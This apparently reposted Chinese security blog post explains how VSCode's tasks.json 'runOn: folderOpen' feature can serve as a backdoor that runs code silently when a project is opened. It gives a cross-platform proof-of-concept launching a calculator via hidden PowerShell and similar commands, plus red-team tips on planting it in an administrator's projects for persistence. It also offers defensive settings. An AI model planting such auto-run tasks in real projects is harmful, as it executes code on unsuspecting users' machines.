文章总结: 本文介绍了利用VSCode的tasks.json特性植入后门的方法,通过配置特定参数在打开项目时自动执行代码。该漏洞影响跨平台系统及多款基于VSCode二开的AI编辑器。文章提供了详细复现步骤与POC,建议用户在设置中关闭Tasks自动检测或谨慎处理工作区信任以防范风险。 综合评分: 85 文章分类: 漏洞POC,红队,安全意识
谨防VSCode项目植入后门!!!
原创
3had0w 3had0w
潇湘信安
2026年1月21日 09:01 湖南
| | | — | | 声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。 请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。 |
现在只对常读和星标的公众号才展示大图推送,建议大家把“潇湘信安”设为星标,否则可能看不到了!
0x00 前言
很早之前有关注到国外有利用 VSCode Tasks (tasks.json任务文件) 这个特性来留后门维持权限或者进行钓鱼、投毒等攻击事件,其实这种方法早在25年6月份左右就有老外发出来了…。
最近看到有师傅在分享这个,所以我在本地用之前刚装的VSCode 14.2.231.21进行了简单测试复现了下(水篇文章),暂不确定官方会不会修复这个问题,大家还是注意下吧,别“中招”了…!
0x01 后门简述
VSCode允许通过文件自动执行任务tasks.json,攻击者可以利用这一特性,植入一个隐蔽的后门,在VSCode中打开该文件夹时就会执行任意代码。
0x02 影响范围
这种留后门方式不仅影响Windows,同时也影响Linux和macOS,而且只要是基于VSCode二开的编辑器也均受影响,包括目前比较流行的一些AI代码编辑器,如:Cursor、Trae、Kiro、Windsurf、Antigravity等等(已测试),CodeBuddy不行。
0x03 复现测试
复现方法也很简单:新建一个test测试目录,然后在这个目录下再新建一个.vscode/目录,最后在这目录下再新建一个tasks.json文件,直接使用网上他们公布的POC粘贴进去即可。
{ "version": "2.0.0", "tasks": [ { "label": "VS", "type": "shell", "command": "powershell", "args": [ "-WindowStyle", "Hidden", "-Command", "Start-Process calc.exe" ], "problemMatcher": [], "group": { "kind": "build", "isDefault": true }, "runOptions": { "runOn": "folderOpen" }, "presentation": { "echo": false, "reveal": "never", "focus": false, "panel": "dedicated" }, "os": "windows" }, { "label": "VS-OSX", "type": "shell", "command": "open", "args": [ "-a", "Calculator" ], "problemMatcher": [], "group": { "kind": "build" }, "runOptions": { "runOn": "folderOpen" }, "presentation": { "echo": false, "reveal": "never", "focus": false, "panel": "dedicated" }, "os": "osx" }, { "label": "VS-Linux", "type": "shell", "command": "gnome-calculator", "problemMatcher": [], "group": { "kind": "build" }, "runOptions": { "runOn": "folderOpen" }, "presentation": { "echo": false, "reveal": "never", "focus": false, "panel": "dedicated" }, "os": "linux" } ]}
回到我们打开的VSCode窗口,将刚刚新建的test测试目录直接拖进去即可,这里需要等一会,等运行完成后就会弹出计算器了。
或者也可以在test测试目录下新建一个VSCode工作区文件(.code-workspace),内容如下,只要双击打开这个文件也会自动运行并弹出计算器。
{ "folders": [ { "path": "." } ], "settings": {}}
假如在实战中我们可以全盘搜索下这个VSCode工作区文件(.code-workspace),找一个管理员最近或者经常打开的项目,把.vscode/tasks.json文件传上去即可,主要用于权限维持(短期可以,长期可能也不太行。自由发挥吧…!)。
0x04 注意事项
VSCode工作区信任设置默认为untiDismissed,在打开项目时会出现下图弹窗提示,但我个人认为这仅仅只是一个提示,大多数人都不会去检查代码是否安全?基本都是直接点击信任,我之前就是这样~.~(其实也可以选择不信任安全浏览代码的,只是功能上可能会有一些限制)…!
还有就是一般只有在第一次打开某个项目时才会出现这样的信任弹窗提示,但只要我们点击了一次信任后就已经加入了受信任的文件夹和工作区,下次再打开这个时就不会再有这提示了。
另外我在测试中发现有的二开AI代码编辑器阉割了VSCode工作区信任功能,打开项目时不会出现信任弹窗提示,如:Cursor,其他的自行测试!!!
Cursor不能通过VSCode工作区文件打开,只能拖进去,测试了其他几款AI代码编辑器都可以,最后我们使用Cursor重新生成了个工作区文件,原来是和VSCode格式不太一样,多了个MCP配置项。
{ "folders": [ { "path": "." } ], "settings": { "kiroAgent.configureMCP": "Disabled" }}
0x05 安全建议
如果我们用不上自动任务功能,可通过Ctrl+,在设置中搜索Tasks,然后将其选项设置为off即可,这样即使点击了信任工作区也不会再执行后门了。
常用AI代码编辑器自动任务默认选项如下:
VSCode:onCursor:onTrae:onKiro:onWindsurf:onCodeBuddy:offAntigravity:on
工作区信任设置可通过Ctrl+Shift+P,然后搜索“工作区信任”找到,在这里可自行设置工作区信任相关设置以及添加或删除受信任的文件夹和工作区。
0x06 参考文章
Integrate with External Tools via Tasks:
https://code.visualstudio.com/docs/debugtest/tasks#_custom-tasks
Backdooring VSCode Projects:
https://github.com/SaadAhla/VSCode-Backdoor
VSCode Project Multi-Platform Backdoor:
https://lol.systems/blog/vscode-project-multiplatform-backdoor/
Latest Contagious Interview malware campaign abuses Microsoft VSCode Tasks:
https://opensourcemalware.com/blog/contagious-interview-vscode
关注我们
还在等什么?赶紧点击下方名片开始学习吧
知 识 星 球
星球已过800人,暂不再发放优惠券,如还有需要的师傅可加我VX:S_3had0w,等你一起来学习…!
推 荐 阅 读
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:潇湘信安 3had0w 3had0w《谨防VSCode项目植入后门!!!》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论